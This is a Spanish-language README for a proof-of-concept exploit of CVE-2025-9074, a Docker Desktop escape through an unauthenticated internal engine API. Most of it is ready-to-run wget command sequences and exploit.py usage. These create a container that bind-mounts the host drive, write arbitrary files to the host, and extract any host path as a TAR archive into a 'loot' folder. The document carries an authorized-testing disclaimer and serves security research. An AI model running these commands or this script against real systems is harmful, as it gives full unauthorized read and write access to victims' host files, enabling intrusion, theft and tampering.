
Exploit PoC para CVE-2025-9074 que demuestra un escape completo del contenedor Docker Desktop en Windows y macOS mediante una API interna del motor Docker no autenticada.
Docker Desktop expone la API interna del motor de Docker en http://192.168.65.7:2375
a cualquier contenedor en ejecución — sin autenticación ni control de acceso.
Dado que el motor puede montar el sistema de archivos del host, un contenedor puede llamar a esta API para crear un nuevo contenedor que monte por bind la unidad del host y, a continuación, usar ese contenedor para leer y escribir archivos arbitrarios del host — un escape completo de contenedor a host.
http://192.168.65.7:2375 — no se requieren credenciales.POST /containers/create con
Binds: ["/mnt/host:/host_root"], montando la unidad del host en un nuevo contenedor.
Dentro de la VM de Docker, el sistema de archivos del host se expone en /mnt/host
(p. ej., la unidad C: de Windows está en /mnt/host/c).POST /containers/{id}/start activa el bind mount,
otorgando acceso total al host.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... devuelve cualquier ruta
del host como un archivo TAR — sin necesidad de shell.Crea C:\test\readme.txt con algo de contenido de ejemplo para que la demo de lectura tenga un objetivo.

docker run -it --rm alpine /bin/sh
Todos los pasos manuales siguientes se ejecutan dentro de este contenedor (alpine incluye wget).
Define una variable de shell para la API y así mantener los comandos cortos:
API=http://192.168.65.7:2375
Objetivo: crear C:\test\pwn.txt en el host desde dentro de un contenedor.
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
Qué ha ocurrido:
Binds: /mnt/host:/host_root monta las unidades del host en el nuevo contenedor.pwned en C:\test\pwn.txt (/host_root/c/test/pwn.txt).Resultado esperado: C:\test\pwn.txt ahora existe en el host.

Objetivo: leer C:\test\readme.txt del host desde dentro de un contenedor.
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
Qué ha ocurrido:
GET /containers/{id}/archive?path=... devuelve cualquier ruta del host como un TAR — sin necesidad de shell.Resultado esperado: se imprime el contenido de C:\test\readme.txt.

exploit.pyexploit.py automatiza ambos flujos. Utiliza solo la biblioteca estándar
de Python, detecta automáticamente el montaje del host (Windows /mnt/host/c frente a macOS/Linux /),
y traduce las rutas nativas del host por ti.
La API interna (
192.168.65.7:2375) solo es accesible desde dentro de un contenedor, así que ejecuta el script en uno que tenga Python:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
En Windows PowerShell, usa -v "${PWD}:/x"; en cmd.exe usa -v "%cd%:/x".
python /x/exploit.py info
Hace ping a la API, detecta el sistema operativo del host y lista las entradas de nivel superior del montaje del host.
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
| Flag | Propósito |
|---|---|
--api URL | Sobrescribe el endpoint de la API (por defecto http://192.168.65.7:2375) |
--image NAME | Imagen para el contenedor de explotación (por defecto alpine, se descarga automáticamente si falta) |
--vm-mount PATH | Omitir la detección automática y forzar el montaje del host dentro de la VM (p. ej. /mnt/host o /) |
Este PoC es solo para pruebas autorizadas, educación e investigación. El autor no asume ninguna responsabilidad por el mal uso. Ejecútalo únicamente contra sistemas que te pertenezcan o sobre los que tengas permiso para probar.
Este PoC y README están derivados de la investigación de Felix Boulet. Todo el crédito por el descubrimiento y análisis originales pertenece al autor original.
Este proyecto está licenciado bajo la Licencia MIT.